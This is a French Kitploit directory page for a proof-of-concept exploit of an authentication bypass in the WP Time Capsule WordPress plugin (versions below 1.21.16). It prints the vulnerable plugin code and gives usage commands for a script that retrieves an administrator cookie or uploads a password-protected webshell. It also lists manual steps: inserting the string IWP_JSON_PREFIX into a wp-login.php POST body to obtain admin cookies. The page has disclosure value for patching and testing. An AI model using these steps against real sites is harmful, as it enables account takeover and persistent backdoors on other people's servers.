Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
WPTimeCapsulePOC — An authentication bypass was recently discovered (https://www.webarxsecurity.com/vulnerability-infinitewp-client-wp-time-capsule/) on WP Time Capsule < 1.21.16. This PoC proves how the issue works and how it can be exploited. | Kitploit
Outils/GitHubGitHub/secforce/wptimecapsulepoc
ExploitationWeb Application ExploitationPost-ExploitationPenetration TestingAuthenticationPayload Development
GitHubsecforce/wptimecapsulepoc

WPTimeCapsulePOC

An authentication bypass was recently discovered (https://www.webarxsecurity.com/vulnerability-infinitewp-client-wp-time-capsule/) on WP Time Capsule < 1.21.16. This PoC proves how the issue works and how it can be exploited.

Voir le dépôt
54il y a 6 ansPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Backup and Staging by WP Time Capsule < 1.21.16 - Preuve de concept de contournement d'authentification

Un contournement d'authentification a récemment été découvert (https://www.webarxsecurity.com/vulnerability-infinitewp-client-wp-time-capsule/) dans WP Time Capsule < 1.21.16. Ce PoC prouve comment le problème fonctionne et comment il peut être exploité.

Le PoC

Ce POC offre deux options différentes :

  • Cas 1 : récupérer le cookie administrateur Exemple :
    root@kitploit:~
    poc.py http://127.0.0.1/
    
  • Cas 2 : récupérer le cookie administrateur + téléverser un webshell protégé par mot de passe dans /wp-content/plugins/shell/shell.php Exemple :
    root@kitploit:~
    poc.py http://127.0.0.1 shell
    

Le problème

La fonction decode_server_request_wptc() , qui se trouve dans wptc-cron-functions.php et est appelée par le constructeur Wptc_Init, n'effectue aucun contrôle de privilèges lors du décodage des requêtes envoyées dans le corps :

root@kitploit:~
if( !empty($HTTP_RAW_POST_DATA_LOCAL)
  && strpos($HTTP_RAW_POST_DATA_LOCAL, 'IWP_JSON_PREFIX') !== false ){

  wptc_log('', "--------IWP_JSON_PREFIX--coming------");

  wp_cookie_constants();
  wptc_login_as_admin();
}

Elle vérifie simplement que le corps de toute requête POST contient la chaîne IWP_JSON_PREFIX ; si c'est le cas, elle appelle les méthodes :

root@kitploit:~
  wp_cookie_constants();
  wptc_login_as_admin();

wptc_login_as_admin() récupère tous les utilisateurs administrateurs, extrait le premier et retourne un cookie pour ce nom d'utilisateur.

root@kitploit:~

function wptc_login_as_admin(){

	wptc_log(func_get_args(), "--------" . __FUNCTION__ . "--------");

	wptc_define_admin_constants();

	if( !function_exists('is_user_logged_in') ){
		include_once( ABSPATH . 'wp-includes/pluggable.php' );
	}

	if(is_user_logged_in()){
		return ;
	}

	$admins = get_users(array('role' => 'administrator'));

	foreach ($admins as $admin) {
		$user = $admin;
		break;
	}

	if (isset($user) && isset($user->ID)) {
		wp_set_current_user($user->ID);
		// Compatibility with All In One Security
		update_user_meta($user->ID, 'last_login_time', current_time('mysql'));
	}

	if(!defined('SECURE_AUTH_COOKIE')){

		return;
	}

	$isHTTPS = (bool)is_ssl();

	if($isHTTPS){
		wp_set_auth_cookie($user->ID);
	} else{
		wp_set_auth_cookie($user->ID, false, false);
		wp_set_auth_cookie($user->ID, false, true);
	}
}

Reproduction du problème

Pour ce test, nous avons utilisé :

  • Une image Wordpress prête pour docker-compose https://github.com/nezhar/wordpress-docker-compose
  • wp-time-capsule 1.21.15 https://downloads.wordpress.org/plugin/wp-time-capsule.1.21.15.zip
  • Burp Suite

Étapes à suivre :

  1. Accéder à une nouvelle session dans le navigateur
  2. Aller sur wp-login.php
  3. Saisir un nom d'utilisateur et un mot de passe factices
  4. Remplacer n'importe quelle partie du BODY par la chaîne suivante : IWP_JSON_PREFIX
  5. Revenir à la page d'accueil

Télécharger l’outil